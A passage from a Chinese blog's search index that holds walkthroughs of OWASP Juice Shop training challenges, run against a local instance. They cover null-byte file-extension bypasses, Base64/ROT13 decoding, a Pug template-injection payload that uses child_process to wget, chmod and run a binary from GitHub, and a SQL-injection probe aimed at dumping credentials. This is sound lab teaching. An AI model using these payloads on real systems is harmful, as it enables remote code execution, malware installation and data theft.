注入绕过文件扩展名限制，成功访问该文件完成挑战。","date":"2026-04-18","objectID":"/posts/2026/juice-shop-misplaced-signature-file/","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","SIEM"],"title":"【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件","uri":"/posts/2026/juice-shop-misplaced-signature-file/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-misplaced-signature-file/:0:0","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","SIEM"],"title":"【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件","uri":"/posts/2026/juice-shop-misplaced-signature-file/#juice-shop-misplaced-signature-file通过-null-byte-注入访问错误放置的-siem-签名文件"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r访问放置错误的 SIEM 签名文件。\r💡 官方提示 (Hints)\r1. 您需要欺骗安全机制，使其认为您想要的文件具有有效的文件类型。 2. 若您已解决其他四个文件访问挑战中的任意一个，那么您应该已经知道 SIEM 签名文件的位置。 3. 只需重复使用对上述文件已奏效的技巧即可。\r","date":"2026-04-18","objectID":"/posts/2026/juice-shop-misplaced-signature-file/:1:0","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","SIEM"],"title":"【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件","uri":"/posts/2026/juice-shop-misplaced-signature-file/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-misplaced-signature-file/:2:0","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","SIEM"],"title":"【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件","uri":"/posts/2026/juice-shop-misplaced-signature-file/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：访问 FTP 目录 基于之前文件访问挑战的经验，直接访问 FTP 目录： http://127.0.0.1:3000/ftp/ 在目录列表中发现错误放置的 SIEM 签名文件 suspicious_errors.yml。 ⚠️ 此处原有一张截图（FTP 目录），在迁移过程中丢失，暂时无法显示。 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-misplaced-signature-file/:2:1","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","SIEM"],"title":"【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件","uri":"/posts/2026/juice-shop-misplaced-signature-file/#步骤1访问-ftp-目录"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：使用 Null Byte 注入绕过访问限制 在文件名后添加 %2500.md 进行 Null Byte 注入： http://127.0.0.1:3000/ftp/suspicious_errors.yml%2500.md 结果： 成功访问 suspicious_errors.yml 文件，挑战完成！🎉 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-misplaced-signature-file/:2:2","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","SIEM"],"title":"【juice-shop】★★★★ Misplaced Signature File：通过 Null Byte 注入访问错误放置的 SIEM 签名文件","uri":"/posts/2026/juice-shop-misplaced-signature-file/#步骤2使用-null-byte-注入绕过访问限制"},{"categories":["security"],"collections":["juice-shop"],"content":"通过访问 FTP 目录发现遗忘的销售备份文件 coupons_2013.md.bak，利用 Null Byte 注入绕过文件扩展名限制，成功下载该文件完成挑战。","date":"2026-04-18","objectID":"/posts/2026/juice-shop-forgotten-sales-backup/","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","备份文件"],"title":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件","uri":"/posts/2026/juice-shop-forgotten-sales-backup/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-forgotten-sales-backup/:0:0","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","备份文件"],"title":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件","uri":"/posts/2026/juice-shop-forgotten-sales-backup/#juice-shop-forgotten-sales-backup通过-null-byte-注入访问遗忘的销售备份文件"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r访问销售者遗忘的备份文件。\r💡 官方提示 (Hints)\r1. 您需要欺骗安全机制，使其认为您想要的文件具有有效的文件类型。 2. 分析和篡改应用程序中直接传递文件的链接。 3. 该文件无法直接访问，因为安全机制阻止了对其的访问。 4. 你需要欺骗安全机制，使其认为该文件具有有效的文件类型。 5. 面对这个挑战，实现这个技巧只有一种方法。\r","date":"2026-04-18","objectID":"/posts/2026/juice-shop-forgotten-sales-backup/:1:0","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","备份文件"],"title":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件","uri":"/posts/2026/juice-shop-forgotten-sales-backup/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 实战：复现漏洞 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-forgotten-sales-backup/:2:0","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","备份文件"],"title":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件","uri":"/posts/2026/juice-shop-forgotten-sales-backup/#0x02-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：访问 FTP 目录 基于之前文件访问挑战的经验，直接访问 FTP 目录： http://127.0.0.1:3000/ftp/ 在目录列表中发现遗忘的销售备份文件 coupons_2013.md.bak。 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-forgotten-sales-backup/:2:1","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","备份文件"],"title":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件","uri":"/posts/2026/juice-shop-forgotten-sales-backup/#步骤1访问-ftp-目录"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：使用 Null Byte 注入绕过访问限制 在文件名后添加 %2500.md 进行 Null Byte 注入： http://127.0.0.1:3000/ftp/coupons_2013.md.bak%2500.md 结果： 成功下载 coupons_2013.md.bak 文件，挑战完成！🎉 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-forgotten-sales-backup/:2:2","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","备份文件"],"title":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件","uri":"/posts/2026/juice-shop-forgotten-sales-backup/#步骤2使用-null-byte-注入绕过访问限制"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 …… 我感觉把 FTP 的文件全下载了能完成不少挑战（雾 ","date":"2026-04-18","objectID":"/posts/2026/juice-shop-forgotten-sales-backup/:3:0","tags":["juice-shop","Null_Byte_注入","文件访问","FTP_目录","备份文件"],"title":"【juice-shop】★★★★ Forgotten Sales Backup：通过 Null Byte 注入访问遗忘的销售备份文件","uri":"/posts/2026/juice-shop-forgotten-sales-backup/#0x03-"},{"categories":["security"],"collections":["juice-shop"],"content":"通过 Null Byte 注入下载隐藏彩蛋文件，再对文件内容进行 Base64 解码和 ROT13 解密，层层剥开加密，找到真正藏在彩蛋中的彩蛋。","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ Easter Egg \u0026amp;\u0026amp; Nested Easter Egg：Null Byte 注入与多层加密解析 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:0:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#juice-shop-easter-egg--nested-easter-eggnull-byte-注入与多层加密解析"},{"categories":["security"],"collections":["juice-shop"],"content":"Part 1 - Easter Egg ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:0:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#part-1---easter-egg"},{"categories":["security"],"collections":["juice-shop"],"content":"任务简报 🎯 挑战目标\r找到隐藏的复活节彩蛋。\r💡 官方提示 (Hints)\r1. 若你已破解四项文件访问挑战中的任意一项，便已知晓彩蛋的藏匿之处。 2. 只需重复使用对上述文件已奏效的技巧即可。\r","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:1:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"实战：复现漏洞 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：访问 FTP 目录 访问应用暴露的 FTP 目录： http://127.0.0.1:3000/ftp/ 在目录列表中发现隐藏的彩蛋文件 eastere.gg。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:1","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#步骤1访问-ftp-目录"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：使用 Null Byte 注入绕过访问限制 直接访问该文件会返回 403，在文件名后添加 %2500.md 进行 Null Byte 注入： http://127.0.0.1:3000/ftp/eastere.gg%2500.md Payload 说明： 部分 说明 eastere.gg 目标文件名 %25 URL 编码的 % 00 空字节的十六进制表示 .md 绕过扩展名检查的白名单后缀 解码流程： %2500 → 第一次解码 → %00 → 第二次解码 → \\0（空字节） 服务器检查: eastere.gg\\0.md → 以 .md 结尾 ✅ 通过检查 文件系统: eastere.gg\\0.md → 在 \\0 处截断 → eastere.gg ✅ 读取文件 结果： 成功下载 eastere.gg 文件，Part 1 挑战完成！🎉 还有第二关？ ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:2","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#步骤2使用-null-byte-注入绕过访问限制"},{"categories":["security"],"collections":["juice-shop"],"content":"Part 2 - Nested Easter Egg ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:0:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#part-2---nested-easter-egg"},{"categories":["security"],"collections":["juice-shop"],"content":"任务简报 🎯 挑战目标\r使用一些高级加密分析来找到真正的复活节彩蛋。\r💡 官方提示 (Hints)\r1. 为了应对这一挑战，您可能必须绕过几层\"意志坚定\"的加密手段。 2. 请务必先解决\"寻找隐藏彩蛋\"的任务。 3. 为了应对这一挑战，您可能必须绕过几层\"意志坚定\"的加密手段。\r","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:1:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#任务简报-1"},{"categories":["security"],"collections":["juice-shop"],"content":"实战：复现漏洞 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#实战复现漏洞-1"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：分析 eastere.gg 文件内容 下载的文件内容如下： \u0026#34;恭喜，你找到了彩蛋！\u0026#34; - 极其幽默的开发者 ... ... ... 哦等等，这根本不是彩蛋！这只是个无聊的文本文件！真正的彩蛋在这里： L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA== 祝你好运，彩蛋猎人！% 关键发现： 文件末尾包含一段 Base64 编码的字符串。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:1","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#步骤1分析-easteregg-文件内容"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：Base64 解码 echo \u0026#34;L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==\u0026#34; | base64 -d 解码结果： /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt 发现： 解码后的内容看起来像一个 URL 路径，但字母被替换了，疑似 ROT13 加密。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:2","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#步骤2base64-解码"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：ROT13 解密 echo \u0026#34;/gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt\u0026#34; | tr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; 解密结果： /the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:3","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#步骤3rot13-解密"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：访问真正的彩蛋 http://127.0.0.1:3000/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg 结果： 找到真正的彩蛋，Part 2 挑战完成！🎉 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:2:4","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#步骤4访问真正的彩蛋"},{"categories":["security"],"collections":["juice-shop"],"content":"解密流程总结 ┌─────────────────────────────────────────────────────────┐ │ 原始内容（eastere.gg 文件末尾） │ │ L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9u... │ └──────────────────┬──────────────────────────────────────┘ │ Base64 解码 ┌──────────────────▼──────────────────────────────────────┐ │ 第一层解密结果 │ │ /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/... │ └──────────────────┬──────────────────────────────────────┘ │ ROT13 解密 ┌──────────────────▼──────────────────────────────────────┐ │ 第二层解密结果 │ │ /the/devs/are/so/funny/they/hid/an/easter/egg/... │ └──────────────────┬──────────────────────────────────────┘ │ 访问 URL ┌──────────────────▼──────────────────────────────────────┐ │ 找到真正的彩蛋！ │ │ http://127.0.0.1:3000/the/devs/are/so/funny/... │ └─────────────────────────────────────────────────────────┘ ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:3:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#解密流程总结"},{"categories":["security"],"collections":["juice-shop"],"content":"关键操作说明 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:4:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#关键操作说明"},{"categories":["security"],"collections":["juice-shop"],"content":"Base64 编码 特点：将二进制数据编码为可打印的 ASCII 字符 识别：字符串末尾通常有 = 或 == 填充 解码：echo \u0026#34;...\u0026#34; | base64 -d ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:4:1","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#base64-编码"},{"categories":["security"],"collections":["juice-shop"],"content":"ROT13 加密 特点：将字母表中每个字母替换为其后第 13 个字母 识别：文本看起来像英文但无法阅读 解密：echo \u0026#34;...\u0026#34; | tr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; 示例： A → N N → A B → O O → B g → t t → g ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:4:2","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#rot13-加密"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资源 OWASP Juice Shop 官方解决方案 - Easter Egg OWASP Juice Shop 官方解决方案 - Nested Easter Egg ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-easter-egg/:5:0","tags":["juice-shop","Null_Byte_注入","文件访问","Base64","ROT13","密码学"],"title":"【juice-shop】★★★★ Easter Egg \u0026\u0026 Nested Easter Egg：Null Byte 注入与多层加密解析","uri":"/posts/2026/juice-shop-easter-egg/#参考资源"},{"categories":["security"],"collections":["juice-shop"],"content":"通过发现用户名字段存在服务端模板注入漏洞，利用 Node.js 的 child_process 模块执行任意系统命令，让服务器下载并执行 juicy malware，完成远程代码执行挑战。","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:0:0","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#juice-shop-ssti通过服务端模板注入执行任意命令感染服务器"},{"categories":["security"],"collections":["juice-shop"],"content":"0x01 任务简报 🎯 挑战目标\r通过利用任意命令执行，以恶意软件 juicy（juicy malware）感染服务器。\r💡 官方提示 (Hints)\r1. \"SSTi\" 清楚地表明这与 Angular 无关。另外，请确保仅使用我们的非恶意恶意软件。 2. 你既可以通过显而易见的谷歌搜索找到这些恶意软件，也可能偶然闯入某个位置极不恰当的隔离文件夹——里面恰好存放着所需的 URL 链接。 3. 让服务器下载并执行恶意软件是解决这一挑战的关键。 4. 本次挑战中，您无需以任何形式对恶意软件进行逆向工程。该操作将在后续解决\"通过服务器请求服务器上的隐藏资源\"挑战时被要求。\r","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:1:0","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#0x01-任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"0x02 前置知识 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:2:0","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#0x02-前置知识"},{"categories":["security"],"collections":["juice-shop"],"content":"什么是 SSTi（Server-Side Template Injection） 服务端模板注入是一种攻击方式，攻击者通过向模板引擎注入恶意代码，使服务器执行任意代码。 工作原理： 正常模板渲染: 模板: \u0026#34;Hello, {{username}}!\u0026#34; 输入: \u0026#34;Alice\u0026#34; 输出: \u0026#34;Hello, Alice!\u0026#34; SSTi 注入: 模板: \u0026#34;Hello, {{username}}!\u0026#34; 输入: \u0026#34;{{7*7}}\u0026#34; 输出: \u0026#34;Hello, 49!\u0026#34; ← 模板引擎执行了计算！ ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:2:1","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#什么是-sstiserver-side-template-injection"},{"categories":["security"],"collections":["juice-shop"],"content":"常见模板引擎的注入语法 模板引擎 语言 测试 Payload 预期输出 Jinja2 Python {{7*7}} 49 Twig PHP {{7*7}} 49 Pebble Java {{7*7}} 49 Freemarker Java ${7*7} 49 Velocity Java #set($x=7*7)${x} 49 Handlebars Node.js {{#with \u0026quot;7*7\u0026quot;}}{{this}}{{/with}} 7*7 Pug/Jade Node.js #{7*7} 49 本挑战使用的是 Pug 模板引擎（Node.js） ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:2:2","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#常见模板引擎的注入语法"},{"categories":["security"],"collections":["juice-shop"],"content":"0x03 实战：复现漏洞 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:3:0","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#0x03-实战复现漏洞"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：发现 SSTi 注入点 在用户个人资料页面的用户名字段中，尝试输入模板注入测试 Payload： 测试 Payload： #{1+1} 结果： 用户名显示为 2 而不是 #{1+1}，说明模板引擎执行了计算！ 结论： 用户名字段存在 SSTi 漏洞，使用的是 Pug 模板引擎。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:3:1","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#步骤1发现-ssti-注入点"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤2：寻找 juicy malware 方法1：Google 搜索 搜索关键词：juicy malware juice shop 找到 GitHub 项目： https://github.com/juice-shop/juicy-malware 方法2：访问隔离文件夹 访问应用的隔离目录： http://127.0.0.1:3000/ftp/quarantine 该目录中包含 juicy malware 的 GitHub 链接。 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:3:2","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#步骤2寻找-juicy-malware"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤3：构造命令执行 Payload 利用 Node.js 的 child_process 模块执行系统命令： #{global.process.mainModule.require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true \u0026amp;\u0026amp; chmod +x malware \u0026amp;\u0026amp; ./malware\u0026#39;)} Payload 分解： 部分 说明 #{} Pug 模板引擎的表达式语法 global.process Node.js 全局进程对象 mainModule 主模块引用 require('child_process') 加载系统命令执行模块 .exec(...) 执行系统命令 wget -O malware ... 下载 malware 文件 chmod +x malware 赋予执行权限 ./malware 执行 malware 命令执行流程： # 第一步：下载 malware wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true # 第二步：赋予执行权限 chmod +x malware # 第三步：执行 malware ./malware ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:3:3","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#步骤3构造命令执行-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤4：提交 Payload 将构造的 Payload 填入用户名字段并保存： #{global.process.mainModule.require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true \u0026amp;\u0026amp; chmod +x malware \u0026amp;\u0026amp; ./malware\u0026#39;)} 结果： 服务器下载并执行了 juicy malware，挑战完成！🎉 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:3:4","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#步骤4提交-payload"},{"categories":["security"],"collections":["juice-shop"],"content":"参考资源 OWASP Juice Shop 官方解决方案 - SSTi ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-ssti/:4:0","tags":["juice-shop","SSTi","服务端模板注入","任意命令执行","RCE"],"title":"【juice-shop】★★★★★★ SSTi：通过服务端模板注入执行任意命令感染服务器","uri":"/posts/2026/juice-shop-ssti/#参考资源"},{"categories":["security"],"collections":["juice-shop"],"content":"通过商品搜索接口发现 SQL 注入漏洞，使用 UNION SELECT 攻击获取 Users 表中所有用户的邮箱和密码哈希，完成数据泄露挑战。","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/"},{"categories":["security"],"collections":["juice-shop"],"content":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据 ","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:0:0","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#juice-shop-user-credentials通过-sql-注入获取所有用户凭据"},{"categories":["security"],"collections":["juice-shop"],"content":"任务简报 🎯 挑战目标\r通过 SQL 注入获取所有用户凭据列表。\r💡 官方提示 (Hints)\r1. 收集关于储存用户数据的地点和如何处理的信息，然后制作一个相应的 UNION SELECT 攻击。 2. 尝试找到一个端点，使你能够影响从服务器检索的数据。 3. 构造一个 UNION SELECT 攻击字符串，将另一张表中的数据加入到原始结果中。 4. 你可能需要逐步解决一些查询语法问题，基本上是从一个错误跳到下一个错误。 5. 如同\"订购 2014 年圣诞特惠套餐\"和\"通过 SQL 注入窃取整个数据库模式定义\"，这些操作无法通过应用程序前端实现。\r## 实战：复现漏洞\r","date":"2026-04-17","objectID":"/posts/2026/juice-shop-user-credentials/:1:0","tags":["juice-shop","SQL_注入","UNION_注入","数据泄露","SQLite"],"title":"【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据","uri":"/posts/2026/juice-shop-user-credentials/#任务简报"},{"categories":["security"],"collections":["juice-shop"],"content":"步骤1：发现注入点 目标接口为商品搜索 API，通过首页搜索功能获取请求包： GET /rest/products/search?q= HTTP/1.1 Host: 127.0.0.1:3000 验证注入点： GET /rest/products/search?q=\u0026#39;))-- 结果： 返回错误，确认存在 SQL 注入漏洞。 